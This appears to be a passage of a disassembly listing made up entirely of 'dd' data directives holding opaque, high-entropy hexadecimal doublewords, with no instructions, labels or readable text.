dd 512EEC66h, 47FE9897h, 28D9E25Eh, 0F630F0C6h, 0F5ACF308h
dd 0CD157F3Ah, 395A0D1h, 229E0315h, 9AF25B03h, 0F17C755h
dd 0C6F91D0Bh, 0D7DED9E4h, 8D13F0BEh, 1E73B8BAh, 0D735DF86h
dd 0F3780C6Dh, 4A5531A8h, 6934C3CFh, 6E7458DCh, 1D5E6BD4h
dd 9E161EEh, 0B455ABFAh, 6883509Dh, 9185147Eh, 9490AD93h
dd 0C9497DB8h, 5D6132E0h, 0DF56E884h, 5AF9FD26h, 514088CEh
dd 0AE2B46A8h, 97A07545h, 0A347FA80h, 33D5ADD3h, 0C7575FA5h
dd 177C69FCh, 618F6F58h, 0EAE0811Ah, 260A07FEh, 17EF5DF0h
dd 0E51CF1C6h, 4EE3E260h, 8FA92AB9h, 2AB853BDh, 0A5E4DE49h
dd 0C54735CDh, 0DF83317Eh, 4A1B40C9h, 80F2F15Fh, 3755F0B9h
dd 0BABC9F9h, 658279FDh, 0FC2B6BF4h, 57AB80D8h, 0DD624031h
dd 5D3773D7h, 0F37D347Bh, 0D260FECh, 280F18F5h, 32A74FD8h
dd 794D4FE2h, 13D6B5F4h, 0C15915BAh, 6B206D7Eh, 0EDDA9288h
dd 0A27E3041h, 80E2BD8Ch, 5EE62560h, 821FE523h, 95E5C5CBh
dd 0F2A2315Ch, 0D0F02C66h, 0F91F50D0h, 0B34714AAh, 5B91863h
dd 0B41FE0D4h, 61A5A11h, 0A4E59D4Dh, 0C7810246h, 530575FCh
dd 6A3C138h, 5DF7CDFBh, 5781A58Ah, 0A1E5725h, 0F0898A05h
dd 1FA7059Ah, 0A1E8B22Eh, 0FAEDE026h, 258B18E3h, 1F271105h
dd 0E54B23BFh, 0E4A9D1FEh, 242BBC4Eh, 4296B203h, 62280BF0h
dd 0DA128E98h, 1DA25091h, 51DA84C9h, 65342848h, 14834484h
dd 0EAE88823h, 14E3E1A4h, 88DFF63Ah, 0B95D761Eh, 2D22EEC1h
dd 4DB965B0h, 0B8286A1Dh, 1B542AECh, 82886995h, 0C08E7DFFh
dd 5C283BA8h, 802B850h, 0D802EDAh, 0C5950B83h, 8984B040h
dd 6475D2D0h, 12692645h, 0B1641F5Eh, 0C8B93B1Dh, 0B5AAD475h
dd 14A55565h, 0D1691074h, 8FAE9578h, 7D22A2FEh, 0AB9ADCC7h
dd 3581388h, 440809D4h, 5702862h, 5066F07Dh, 0FA8C99D8h
dd 108FBBBDh, 0C4922972h, 25DD2EEDh, 16032D1Eh, 2660E66Bh
dd 49F76EADh, 0A4632A23h
dd 0D8BEF882h, 0C421F28Ah, 0FB91016h, 402EC442h, 2B21FA4Fh
dd 1257B54Fh, 2A914D1Ch, 3CE6E62h, 339883D3h, 0AD67BE0Fh
dd 8F03B1F2h, 0CBC09184h, 482F7ABCh, 2B94A178h, 54913C03h
dd 0D3C90BDBh, 320B5D91h, 3046FA44h, 0D035E123h, 0AF80BA7Eh
dd 0A79202h, 0F04B9EDAh, 93D0614h, 114FACD0h, 58120A1Ah
dd 260271A9h, 0C5E57C01h, 0C13A6A14h, 58129025h, 8AED048Ah
dd 0DA57A30h, 95A58F5h, 4350A04h, 5DD9E90Dh, 0AD21712Fh
dd 2B088794h, 20A84945h, 0B3A28593h, 49D2C450h, 430A9504h
dd 11236901h, 4D288A53h, 369988A4h, 0D58F121Ah, 4F535288h
dd 197645D7h, 0D475E86Dh, 6437D69Dh, 5A05BE0Ah, 0DE01FBA7h
dd 51A160CCh, 4F12ED00h, 5ACC4C18h, 4B84C581h, 20395603h
dd 51481492h, 0B139F744h, 169787E8h, 6BDBC0h, 4858CADFh
dd 0BC511B80h, 8BE8012Ch, 0F6D47D68h, 0B441CABh, 378703B5h
dd 66496555h, 51553FC8h, 0EB5CF4D6h, 222029DAh, 30AA0A4Eh
dd 155E61Dh, 401DF51Eh, 0D8764193h, 8DB507E7h, 54A530E0h
dd 1D4713E5h, 14CBE6F1h, 0AD5C009Bh, 2325D614h, 84A21B46h
dd 0D36E092Eh, 0F533FB80h, 500CDB85h, 107E99B7h, 93B6BE99h
dd 0D45AEE7Eh, 4ED888F1h, 539631F9h, 0F06923C7h, 18184C5h
dd 8DA0415Ah, 0D00CC601h, 0CC4B198Bh, 8D446C00h, 90E29ECCh
dd 0A341021Fh, 4BF1B44h, 828CCB14h, 5FC8605Bh, 0E75EC6h
dd 0B441067Fh, 0E3345A92h, 0A99D0705h, 6AA355D1h, 0A9565EA9h
dd 0FC3507CAh, 5B5A8757h, 2A5397DEh, 0BE9688Fh, 46358AF8h
dd 495D285Fh, 6A156BA6h, 5258BFF8h, 0ABA0DBFDh, 2A0F284h
dd 9AC0232Eh, 0C58517BAh, 54222358h, 4D1557E2h, 0E7C99DD8h
dd 0EE0F7E00h, 0C62C1483h, 0E7957A8Fh, 35721260h, 7C35A13Dh
dd 0EA203CBh, 16F4140Ch, 630ABC6Fh, 0B32B6281h, 5831AAF0h
dd 686AFD68h, 1B6BEACBh, 77E00F59h, 1EFA6307h, 23DFFE11h
dd 47B1FC8h, 608F03FAh, 0FEEBD87Fh, 0F8551981h, 0CF8D6F0h
dd 43D12500h, 0FAE521ECh, 8A8906B4h, 823F2F44h, 0C51DF938h
dd 898FB68Fh, 18F5C863h, 47D149F2h, 0D7B601EFh, 3E4083FBh
dd 623E4FCAh, 0F8A4E1EDh, 70C9CB29h, 0B351541Dh, 0C74C358h
dd 3AD89A80h, 3BC750ABh, 0B22EF08Fh, 1D52919h, 2EE0C36Ah
dd 2272C9DCh, 1FC5AAC0h, 798311BFh, 57EE5673h, 0EB04902Ah
dd 0BF6F7C51h, 7F513F6Ah, 5D76ADF0h, 0CCB9722Eh, 0C321DAE8h
dd 9A388CEh, 0C9F8CEBEh, 0F826BED7h, 0B3AFFEBAh, 1DADF307h
dd 17E08270h, 5E20487Fh, 0B1D5559Fh, 0D2FD6580h, 0DDE7E3C4h
dd 5C630129h, 7BED7665h, 9C6A8675h, 0F2B45A56h, 855C4424h
dd 1DE869E8h, 4410E218h, 0BF73A1ABh, 4801FC12h, 0D18E4C21h
dd 3EBCC61Ch, 0A0D632Bh, 0D4446E2Fh, 113B42D1h, 36ECD2F6h
dd 5D7FAD0h, 0E16EE77Ah, 4237F4A0h, 0D97090Eh, 0C62A3130h
dd 7C4AF4A0h, 2331BF9Fh, 4BFBA15h, 9A08298Bh, 860C5C65h
dd 2AD11BAEh, 0FB23064Ah, 14BBA9CBh, 683E75F2h, 0ED66968Fh
dd 5FAAA8E8h, 5CEE98D7h, 463A2534h, 3FB03EF6h, 66CFB266h
dd 0B3BE2A5Dh, 19D8AF28h, 5750C0ACh, 915DB0B3h, 7A00EA60h
dd 3E1543A6h, 5DA87DE3h, 0EF42D91Ch, 0B95C0A43h, 857CC034h
dd 0D3C0E741h, 0CB955CAEh, 236C41Ah, 0C9B6CE75h, 0E23D180h
dd 3EA56254h, 0E0E8C26h, 55716602h, 2AF27B7Ch, 74B4CAA7h
dd 2B8F8631h, 0DD4D4247h, 0ADE4E198h, 12DA7497h, 0B44A60C1h
dd 6457FF86h, 0B45D178h, 9C563D71h, 0A667D184h, 0E019C98Ah
dd 0B0153EA8h, 2BE92B64h, 4198396Ah, 0A2C68131h, 0D31D478Eh
dd 48C6D10Bh, 27D0DE11h, 803319FDh, 0D7F6213Ch, 7224701Ch
dd 8B429E4Fh, 614C2985h, 0C9B2CAFh, 0FB782C96h, 0A838CB6Dh
dd 499416DEh, 80648AC9h, 0DE0FFAA3h, 4187ACD2h, 2DD0BA76h
dd 88F1F8EAh, 3A014531h, 6216D4E5h, 33F227Fh, 31182F90h
dd 0E41B0236h, 3DC3D95h, 105D0B84h, 36E1E97h, 0E8EF6E84h
dd 4E1C4D6h, 0F200A246h, 12EBE0CFh, 0B7D9DD31h, 59B1F87Fh
dd 4C9249EEh, 9ECFAD18h, 4860B44Ah, 2734BA39h, 0DB41F95Ah
dd 48B59F54h, 1973F55Fh, 4526F15Ah, 56921193h, 0FA18B4h
dd 30F86873h, 0A42CBEE3h, 0CC5DFF8Ah, 6AE8B211h, 4BD5D001h
dd 978F0CC0h, 2F18D282h, 59D52502h, 648C55AEh, 9C84380Dh
dd 1F4FCB18h, 53199652h, 0E4487455h, 0F815655Eh, 9FAA80F8h
dd 2FA27AA1h, 54122328h, 0E4C5005Dh, 12031D41h, 455907E4h
dd 0FE2B8801h, 0B7B52AC1h, 2FA34630h, 0DC825F12h, 6A3C9FD9h
dd 0B3F4BAB7h, 0A82900A4h, 0F3288E96h, 0BD574DF4h, 0F9E9A1C5h
dd 97F57B6Ch, 6B5A749Bh, 5FEF94C7h, 8C7923FCh, 0DA1CCC6Eh
dd 0C400D11Fh, 0F4FF2D1Fh, 0FB74E4A3h, 81878189h, 45D43E4Fh
dd 171F459h, 4590D5E5h, 5562F6EBh, 9306001Ah, 0BF229316h
dd 0AC258690h, 0C983D02Bh, 0BA7B7DA3h, 3469415Eh, 0F5320910h
dd 20444224h, 4151088Dh, 919495A6h, 3441A308h, 4B0C832h
dd 0AEBA120Eh, 0AA578498h, 524D4B59h, 0BC0CE1B1h, 131A1650h
dd 89680E7Dh, 140AD794h, 6D7B9A33h, 29D4462Ah, 0CC7A0A91h
dd 17CA549Ah, 0D66AA713h, 6882F617h, 0F40E5A2Bh, 0F180651Dh
dd 0A03D7ADEh, 1E16AA80h, 0E062E2C3h, 4A3E5D11h, 771A68CAh
dd 0DED1F9EDh, 0B24B4703h, 0FF47E4C9h, 66282BB5h, 8B913D72h
dd 0BE3F3A8h, 2C5B466Ah, 28297D89h, 0B9940118h, 28446C8Ah
dd 808D00F6h, 1E5D640h, 6EFBF280h, 492A919Ah, 672E2B20h
dd 0FE80C153h, 4D063BB8h, 17983011h, 9669A671h, 3696711Ch
dd 0C7FD87E9h, 72617E91h, 65118E14h, 3D157EAAh, 0AD9A4976h
dd 5C15975Ch, 0A3A18ECh, 95F22898h, 75218909h, 4075917Fh
dd 0F3A0D2EDh, 21323DE3h, 84343AF8h, 29FD5FECh, 0FAEEAE76h
dd 697844EFh, 0E7CAFFCBh, 0FB7FE772h, 0E78C9238h, 7D0F5D76h
dd 94507DF4h, 0A4AA12C4h, 7245540Ch, 82DBA044h, 50D39EF8h
dd 0D3543F7Bh, 3E5EA768h, 974AE96Ah, 0EB872F48h, 9238426Dh
dd 9D3DB3CAh, 0D414BFC5h, 74CDA929h, 0C8DB69DAh, 57051FBDh
dd 8626C4DAh, 0CEE46F36h, 5AB3070h, 654B97E0h, 7F8088C4h
dd 761D3534h, 45DD45B4h, 0DDA2F809h, 5DD3FD0h, 0B26F172h
dd 2D4D5B5h, 64A08488h, 391E0C62h, 0BC4444EFh, 0FA08C862h
dd 59171FB2h, 7703F7CBh, 62758FAh, 4755A57Fh, 56995629h
dd 0F150A347h, 0F71747AAh, 0A40A328Ah, 0E454F185h, 5F2EE1Dh
dd 2B69166Dh, 0C49D8EAEh, 0AAF80CF5h, 66A6583Eh, 5431DD2h
dd 2813FF15h, 0DA2E1EB9h, 48B3178Eh, 0E7FB0164h, 48B6EE65h
dd 87EE872Ah, 67C02ECAh, 0F834E256h, 447E354Dh, 0A9EBF90Dh
dd 0FE6DB559h, 0D9AA5421h, 0EC90D97Ch, 0F04E0EF8h, 14878467h
dd 0EFA5A441h, 934145A5h, 4EBA36Dh, 0F77EE342h, 85B44437h
dd 0E5D3211h, 5D6672E9h, 0B448CDE4h, 85922475h, 49C95AEEh
dd 0B109BFCFh, 0F66350C3h, 0A2AAA981h, 507B202Bh, 0A3BB2867h
dd 444BB55Dh, 95145616h, 65100235h, 0F2C15119h, 0D175076Dh
dd 0E7B5FE57h, 75EB08BEh, 65018D0Ch, 2866E71h, 858CA411h
dd 0AAC1B892h, 0A856056Ah, 89A6C057h, 6015F973h, 8DA2A451h
dd 10BAAD6Eh, 0E58CC469h, 3B0FC6DFh, 0A129766Eh, 0F449A8CBh
dd 0BF1E3D81h, 21104A43h, 776DE8B5h, 22432935h, 42F4D4CCh
dd 5575658h, 4CD44391h, 9F52B506h, 4267F5EFh, 4C2CD95h
dd 894816FEh, 83BE6CFAh
dd 9548C999h, 3CB81C77h, 0A895F30Bh, 7E89A88Fh, 46BCDEB7h
dd 3A8A94EAh, 7EA4FC86h, 0DA91685Dh, 1C53C583h, 5E481058h
dd 28A1B51Ch, 0EF15A2ABh, 526D744Fh, 0C0A1FA9Ah, 70FE8132h
dd 0C06971A1h, 373DA068h, 30409218h, 29079EB8h, 64F6ABBDh
dd 0F3652C31h, 0B2633B68h, 411C1036h, 86C9C385h, 46B063B7h
dd 11ADA6CDh, 0F6DCA9D2h, 0B63A1985h, 0B7AECFA2h, 0FCBE8D83h
dd 978F1CC1h, 2C495B72h, 516325Fh, 579F7FEEh, 6647B466h
dd 2BCC7861h, 5EA4E77Eh, 0E469A3ABh, 8B082154h, 0F43847C1h
dd 2B4B5615h, 2DFC9CBAh, 475EEA3Dh, 72D158B7h, 0A552E42Eh
dd 2EC2B02Eh, 0BC6AB5D2h, 167BCF3Ah, 4B4601A9h, 0FB0AE66Ah
dd 0E970D1CDh, 122DABD7h, 0B545FF3Bh, 4B6C106Dh, 3E348713h
dd 0D83D5D6Eh, 34589803h, 868EE80Dh, 0BF9C4985h, 33135CAAh
dd 520A18CCh, 0DBD5F8FEh, 4E8D7934h, 8D88596Fh, 318A312Fh
dd 71B4A3FCh, 0C5CC15B5h, 9A4A5E74h, 0E16CE289h, 5FE1BA49h
dd 50762665h, 0B5596514h, 0BF8EB623h, 0BFCD4DDDh, 0FCC333F8h
dd 0A842729Ch, 6CEFAF2Ah, 0E077CE82h, 948F81C9h, 5948C177h
dd 89F9F1ABh, 0D08AFD2Dh, 308CF442h, 1E671A4Ch, 9C085D12h
dd 374584BBh, 75257949h, 48110207h, 98AFD3E9h, 0D72CD669h
dd 68C6C525h, 16CAAA04h, 0A0721B28h, 0B28280A8h, 42C98C47h
dd 60CB3E6Dh, 0BB4F414Eh, 0B4A44892h, 4B9A6381h, 0FA81BA9Ch
dd 0E2CB880Bh, 4B292A3Eh, 95DAF2A2h, 81757247h, 0E92EF09Ah
dd 7E58A3D8h, 1AB49585h, 59EA7BD7h, 4D2B7318h, 0EC03CBD5h
dd 3BF27365h, 0F58AF572h, 8D5EEFD7h, 0AD4A5DACh, 0CC9DF3E8h
dd 0F28CF148h, 316FCC6Eh, 71988CE9h, 0C3FE1A81h, 9BD3BC7Dh
dd 7A9160Ah, 0E94A9A3Bh, 3723A345h, 0E79D4BBEh, 2BF4B05Ch
dd 95D7D5CDh, 0B5464BD0h, 0D14409B4h, 0DE441EAEh, 0C912A281h
dd 0C808882Ah, 4817FB9Ch, 5F2FDEB8h, 0CBA6F915h, 8A72700Eh
dd 22A5D0CBh, 87F0BB19h, 0B41775F0h, 61D860CFh, 64E730AEh
dd 0FCF151B0h, 8D7D01B9h, 22562AC4h, 55B95EC8h, 0D75288E6h
dd 0BCD59BFBh, 0BD1C6725h, 566453DDh, 2D8AEC2Ch, 0C401FFA1h
dd 89E33B10h, 689DE462h, 0BB0A22ACh, 0DF4516F9h, 2315FF52h
dd 55E3565Dh, 0AAB30B51h, 0C7E0CB4h, 0D7EF7B46h, 5D5F2117h
dd 12829390h, 62142310h, 2380B0F0h, 558EC1F0h, 0FA8849DCh
dd 0C994D846h, 48A3147Fh, 21D1569Ch, 43B2AB7Ah, 6976EDDBh
dd 43A17AD1h, 2FE31348h, 0F02BB515h, 35D06B34h, 0D21AE716h
dd 0C22F6CC5h, 95FEFBB2h, 5CC773C7h, 57BC4F17h, 0A92A0A42h
dd 1E90C60Bh, 0B093DF03h, 85074495h, 591DA007h, 0BB96DB97h
dd 0EEBD3E63h, 8122807h, 915D13DFh, 0E82C4ABFh, 54D95047h
dd 88664053h, 652CAD36h, 5155955h, 1A5FD191h, 894C3300h
dd 8FE670ADh, 66A07456h, 0B1335420h, 2B46ACAAh, 0B8127F1Ch
dd 616D16D1h, 7186D1DCh, 2C812089h, 3808CE02h, 1A79CCCBh
dd 9AF0108Fh, 0E21A044Dh, 0AABEF9AFh, 0AEE7523Fh, 0EF60CE98h
dd 8FA86B2Ah, 5186CABBh, 8D40DA25h, 0A237D278h, 2C0F4601h
dd 0F2F0493Eh, 585E1FBh, 1D7EAA83h, 8A0ACB43h, 59007428h
dd 345C69EBh, 0C6552C9Eh, 9498E651h, 0A027FE0Ah, 202221D8h
dd 11815535h, 0CE775FC9h, 8FADCA6Fh, 0BF0AC12Fh, 2D44C088h
dd 0B14121BCh, 8D8E0AB4h, 1C4EA31h, 0C491349Ah, 82AF8118h
dd 0C03981C9h, 9426E5AAh, 7B37344Ch, 18464B1Dh, 553C8D26h
dd 0C66901A5h, 31A8AD32h, 0AD52BD0Bh, 0D157569Fh, 7F810596h
dd 0E6157ABEh, 0B60A055Dh, 974B1CEDh, 0C9DB84Eh, 24834862h
dd 55FED690h, 2067DD03h, 9D974AB1h, 73868B46h, 0A8FA8E25h
dd 4AEC1F61h, 0D3FF3D24h, 0D00E8B01h, 71CBC664h, 5F26E289h
dd 1500CA15h, 9055314Bh, 4090565Fh, 0D024FCAFh, 26998C24h
dd 7DCE511Ah, 0A24033E9h, 2ADE7E01h, 0BEB197AEh, 98C46471h
dd 9089424Dh, 0CF086E33h, 0D67D0275h, 0AB97489Dh, 5614E880h
dd 60EC44BAh, 0A4E88AA3h, 6BE20431h, 4F01CA70h, 5C80C2FDh
dd 8D1C4190h, 0CA856240h, 955F5311h, 0EAA2A329h, 0CF5DB690h
dd 3D1982D2h, 922B3996h, 722041F8h, 26944A3Dh, 882A908Ah
dd 24EC0456h, 0ABA3FE4Dh, 0F3525FEEh, 491744FBh, 0C8C2289Ch
dd 0D067D329h, 0F9183452h, 0CCB92CAAh, 0C00AE04Ch, 1917EABEh
dd 7F40D056h, 47DC00B1h, 30D1765Fh, 17D355F1h, 0F2BAC053h
dd 6EB34148h, 3F375966h, 8323D2Ch, 7479F873h, 0F4C5FA73h
dd 0E209576Eh, 0F748534Dh, 974E68D6h, 0E128A06Fh, 53D8E049h
dd 6175D144h, 4D37885Ah, 69114629h, 0A57A89C4h, 7432A30Ah
dd 3ABA1762h, 0CB224F8Dh, 0E05A01ACh, 848B13E6h, 2BD17DDCh
dd 0CEBEE31Ah, 0C0A6ADD0h, 4E5553B2h, 0B5FDD1DDh, 599A2EB0h
dd 373736F9h, 8BAE7FE4h, 0EF8311C8h, 0C52952E2h, 0FAE762FEh
dd 0AD65052Eh, 9967223Eh, 55D45A2Dh, 56B6C7F4h, 93891FC7h
dd 404867D1h, 702330EAh, 49929175h, 0D342C527h, 0A2C0DD74h
dd 0EED4CB55h, 517416AAh, 275F4CBAh, 61F13184h, 67D130D4h
dd 9148FC22h, 58CA5652h, 4EA9830Ah, 0CF73CB2Bh, 6D19819Eh
dd 24831867h, 3F31DDCCh, 622B2BFDh, 0DF23B6CCh, 500D4361h
dd 0E341BA89h, 2CEB2BA7h, 0BF0B424Bh, 0BB59030Eh, 21CB242Eh
dd 7DA40AA6h, 53FBA459h, 0E9A65988h, 1A48DD55h, 0DA806233h
dd 2B8A5C95h, 5278ADAh, 0C7031AABh, 0BDADAE2Ch, 8B80C68h
dd 24114D2Ch, 0A01FAE1Fh, 0D38B0F45h, 24D2D4Bh, 0D6F92AE1h
dd 0B7122F6Bh, 0BA633E6h, 0D57FDB08h, 0AC7F7F40h, 0D1D908DCh
dd 65D1157Bh, 6BAC8612h, 2B8E768Bh, 632C6C14h, 77813AA6h
dd 0BE7AAF3h, 0E555C1B5h, 94D75B13h, 0B8EE39F0h, 22AA76ABh
dd 8E20ACC3h, 5D6AB7FEh, 38B4F455h, 49686682h, 6ECCE7AEh
dd 828EA28h, 4AAB2EE3h, 4120FE6Fh, 0B4CB84CBh, 424948B9h
dd 7D2E229Ah, 0AEB6F545h, 83A8549Bh, 3D369F1Bh, 0E08F6C35h
dd 0C308F42Eh, 75A64A95h, 0BD78E501h, 0F163B26Bh, 640DD501h
dd 65F6E662h, 62BFE611h, 583C1C68h, 55ED2E34h, 9997C155h
dd 0C43E598Fh, 0ACE1527Eh, 7A61923Bh, 0B05A7D94h, 0C8B07C85h
dd 0D90B4E6Fh, 3DA34244h, 0B6C16F5Dh, 0BFA042B4h, 7F03727Ch
dd 260C5781h, 0A6825D4Bh, 0EB8A67E7h, 8BD037D1h, 2A4FAFB2h
dd 0BA85411Dh, 8B52905Ch, 6AC0BFD3h, 0E3313E3Fh, 5AB0FEA0h
dd 5BBC3228h, 0DD6A2328h, 172C7CCh, 8B225054h, 0E4D1B57Eh
dd 0F57F961Bh, 7C2482D2h, 0F8A494A7h, 10EC0CABh, 0AC2113E3h
dd 3ECAA416h, 0CA414A41h, 95B7A7E2h, 765F2A84h, 3BAB71C6h
dd 432F2AE9h, 0D0FD79BAh, 0FD1DEE31h, 0AFD87955h, 2AD56F2Bh
dd 47D88A4Ah, 7C087643h, 8C678315h, 63BE37DEh, 0B662FEF5h
dd 0FBF0F934h, 5D657A41h, 1073377Eh, 0E1D54ABEh, 838A0AB5h
dd 0EC41931h, 3439C5D6h, 0FB6E73AFh, 0ED94D875h, 0D82AF62Fh
dd 0ABEDB149h, 0E3EC43F1h, 293C9EC1h, 74B249F9h, 44066EEBh
dd 0F5158B24h, 0F47C6737h, 2C57203Ch, 8AA289Ch, 9019AE86h
dd 0E66D6D93h, 1B89B35Fh, 54074A77h, 89058BA4h, 61464402h
dd 2721F228h, 84811831h, 1F8BC175h, 549BABBAh, 4AC18E17h
dd 546DA819h, 8C8813B0h, 0B6561579h, 0E5942538h, 0FB55FF8h
dd 0D74E18BEh, 19AF7F29h, 0BF5A63E8h, 4E55D795h, 2C714964h
dd 0AAFB0ECAh, 575F567h, 50F6370Eh, 0D57A8911h, 12FAAE2Fh
dd 64504401h, 0A1538F06h
dd 3832B2Fh, 605E6ABDh, 4760B802h, 2C498C51h, 58C6C226h
dd 0AADAE570h, 0B4497D75h, 0D5EF80D8h, 2B119573h, 86235A76h
dd 909D6274h, 26B8D616h, 0BFE5F221h, 2088D557h, 2D1C1A2h
dd 58061DFh, 4CFDFC5h, 528CFED1h, 74AFBEE4h, 67F2A636h
dd 0C188A2F5h, 6BF11E60h, 27AAFC67h, 9EC79E47h, 0BB09BD4Bh
dd 9120D119h, 46D800EFh, 773374BFh, 0A8C62B4h, 411ECAC4h
dd 0DC21A4B7h, 8D72900Fh, 454EA131h, 0FC20FDCh, 0FA222239h
dd 280469Fh, 3CAB9028h, 2486908h, 0FD2BB1FBh, 3CC18B9Eh
dd 74ABBB14h, 0EF49E8B4h, 3018674h, 0FA99BD2Fh, 0AA88D55h
dd 0C68168E0h, 905C21Fh, 44B9C6E3h, 0E065B2B1h, 0D1D26B92h
dd 648CC021h, 0EB2C2311h, 2D0F8467h, 6650ABA6h, 8256C80Ch
dd 317853ACh, 0B3737EE7h, 2302D3B2h, 0D2EDC85Fh, 96576DA5h
dd 6827056Ch, 3A6BEBC0h, 0F6A89206h, 688EFCA1h, 227C814Ah
dd 0CA40562Bh, 95730493h, 516635D3h, 0D35BD22Fh, 6ACFFCBDh
dd 28D14D81h, 50CF68CEh, 147BFD90h, 0A2F14F11h, 0C24FA0C1h
dd 4C30F8E5h, 6C974BE1h, 6435933Dh, 2CE3CCADh, 93F0B50Ch
dd 803376B7h, 0DE03E828h, 76F8996Eh, 83EE295Bh, 75E7D2E5h
dd 68AE931Eh, 6D4090DBh, 0A069E919h, 0D3526988h, 5558C04Fh
dd 7433FF40h, 22C34655h, 0E0DF4056h, 47195A2h, 0A5977FD6h
dd 0F6A17F87h, 0E543762Fh, 2F12DC7h, 0F93C3CE4h, 0A1A77FA6h
dd 0A245A428h, 5B8E1156h, 0EB2A5FEEh, 0CACABE8h, 8D368CC9h
dd 4032EFA2h, 50AA9BD9h, 0F33AAAB5h, 0C410D777h, 0C4A388AEh
dd 0B7EA228Bh, 0BB9FECABh, 72EEC204h, 7493BCC3h, 6B2B7FE9h
dd 8ACDB18Fh, 70002AEAh, 50F37474h, 66279975h, 0A91F1471h
dd 0EF22E3C7h, 4A577665h, 0F865AFE7h, 32223ECAh, 0A9988C3Fh
dd 0AB714319h, 8794D999h, 0DBB089F9h, 7A3EB541h, 0FC0DEE23h
dd 80D47FF9h, 0F301116Ah, 0A85931A1h, 0F98CA592h, 26309240h
dd 31202ABEh, 80341952h, 8CCA3E38h, 178461Fh, 6FDC3AF9h
dd 73163EA1h, 16A001D8h, 8034C064h, 4C583C16h, 57D546F9h
dd 68257A02h, 0D8C88FCCh, 676043F6h, 48336E40h, 99B57C1Ch
dd 0A840B0F9h, 61024616h, 54C48AC4h, 0CBD71D86h, 0FC09E540h
dd 0C5099E68h, 10D7C03Ah, 0C41607A3h, 2DF18720h, 36761817h
dd 0E31B1C98h, 0FDD2769Bh, 67E938A2h, 403FE361h, 39014B71h
dd 0C061882Fh, 2E8D93A8h, 60A33346h, 4C942D49h, 0AEB1A64h
dd 31489A5h, 5C8A8A8Eh, 0C9A24532h, 0D3279164h, 204C2A46h
dd 8CDF48A9h, 1E38A026h, 0CCCE2AB7h, 1E3265ADh, 0AE96A395h
dd 5571F238h, 0D535679Dh, 0CFAE3918h, 0BF54B67Ah, 0F542620Bh
dd 0CB30F367h, 0CCB634C4h, 0ADD4E2CCh, 0D7A7F33Ah, 0EB8DE9DEh
dd 0DC599B0Ch, 63334E7Ah, 0F877A108h, 1FC2A88Ah, 21253890h
dd 0A54C01DFh, 62E1EA81h, 0D02C2815h, 2657B68Eh, 0B5D401A4h
dd 2D62C10Fh, 0FDA3BC16h, 885EE88Ah, 80654733h, 160533A9h
dd 0D84F684Bh, 52136159h, 20152309h, 0BA8980CAh, 2ACBE6D1h
dd 0E83E2BE6h, 5A086E8Ah, 61EC2BF2h, 288C9686h, 34510A89h
dd 768091A8h, 4C6305A4h, 0E461D88Ah, 58A02909h, 847291FBh
dd 7B0D2790h, 3710E932h, 2E1C2280h, 0F7514686h, 91D63A17h
dd 11C90545h, 573FE67h, 803C1212h, 7DD711A3h, 3E0CD16Eh
dd 0A9C21BD5h, 0E4476F8Fh, 0EA2430ADh, 794C1FFCh, 3A990BC8h
dd 0FFE26B9Fh, 0FA2AC5CDh, 0D5C2FC2Ah, 0B6867218h, 0E11E88BDh
dd 2FE922A6h, 21109328h, 0CE1F584h, 0ED5B4DB5h, 0C23DEC4Bh
dd 4DCB454Ch, 0D147375Ch, 0FAEBAC15h, 8C250434h, 0C64CA703h
dd 0A2634091h, 0A5205B10h, 5F11A2EAh, 0A97BC4CBh, 0D853E8E5h
dd 6A358946h, 18AD4FA9h, 72C94B83h, 49D20145h, 4F2B9C72h
dd 0D1E557F0h, 42D48C4Fh, 0CA5EF473h, 0E2E4CCE3h, 13B1D40Ch
dd 9941268Dh, 88E32E7Fh, 0C2B40FA6h, 65E8F348h, 0C19DA168h
dd 2B5EE671h, 0C6F95897h, 0DF138A90h, 6D1C7CE8h, 0E9CBCFC6h
dd 2DFBA729h, 0F565E8F8h, 0C0CCDF79h, 0B407618h, 40F65D7Eh
dd 23FF6B39h, 11553E27h, 18529129h, 7A46F03Dh, 7C2955DEh
dd 86D163E5h, 0A4D130FDh, 9B45D53Ah, 422F53C1h, 2D45A1F8h
dd 3374844Bh, 0BA2AA3A6h, 31A57C0Bh, 1A6E617h, 5E257BDEh
dd 84D92954h, 185001B9h, 0CDAEDA01h, 80D4B41Ah, 98BEC0EBh
dd 83CAABD1h, 53444036h, 0FDAC406h, 2673ABB9h, 52E00FAAh
dd 5580CAEEh, 0DE80132Ah, 2573D81h, 2059D3EAh, 4C8FD8EBh
dd 0DEBECD2Ah, 50608D02h, 2D1B52FFh, 0D13E9554h, 0DA390CDAh
dd 5771DA4Ch, 0B2887D50h, 0E6D84135h, 0DA3C5D1h, 7B1A0FA8h
dd 0FC32B664h, 68C409CFh, 0E99430E9h, 4B6B281Eh, 3B55459Ah
dd 36E2C23Dh, 192332BAh, 8C5BB59h, 1F72C77Fh, 42565291h
dd 7937F316h, 73242F9Bh, 26724553h, 7C15FA66h, 0F913999Bh
dd 2A2BDCE7h, 49E4E9E3h, 0E72E4A3Eh, 0BC85C336h, 3416B17Fh
dd 0FC193E90h, 23D2F12Dh, 95693E8Ah, 8A2C704h, 0CDAA8E99h
dd 0A4D66D08h, 9FCCCD2Ah, 0E4851A8Ah, 0F479D31Ah, 2F05CB96h
dd 0A921D4FCh, 1EEAB05h, 55F33877h, 0DB3B9B11h, 0BD4D1B98h
dd 0AAE388F5h, 0A9F92520h, 0CB04638Bh, 0FF48CAF0h, 0BF810C21h
dd 28BC28D3h, 34C06616h, 7569AE2Fh, 0A53B4530h, 2C06B402h
dd 5BA1CF6Ah, 2A716226h, 54689A57h, 0A8AC5C23h, 441347A9h
dd 0C054CE4Eh, 0CC4E8CA2h, 7A4AD57Ch, 0DB0CDB84h, 8CEDDCCEh
dd 0AEA1D2BCh, 0BD83A463h, 869523A3h, 69F985Ch, 0FCE4E078h
dd 328E403Ah, 0C47A0702h, 0AAEDEBD9h, 72395E9Ch, 0F6667737h
dd 0A9A6C8F1h, 32236B26h, 4FB1FEC8h, 7DE6FD1Fh, 52508F4h
dd 98D337C5h, 2F4CDCDh, 8D79AEAFh, 2895F977h, 9806DA0Ch
dd 940AE334h, 0D1605744h, 9BB500AAh, 9A9D38F7h, 1961A030h
dd 8A9267F4h, 0D8392C82h, 0AB80FC32h, 970228C1h, 0BFC41B66h
dd 0A7F7DD3Dh, 1278F288h, 0CD2A481h, 0E4938FD3h, 8CC9E6EAh
dd 5DE2348Eh, 3D68D105h, 0F5497599h, 0A6C68312h, 0FE215FCDh
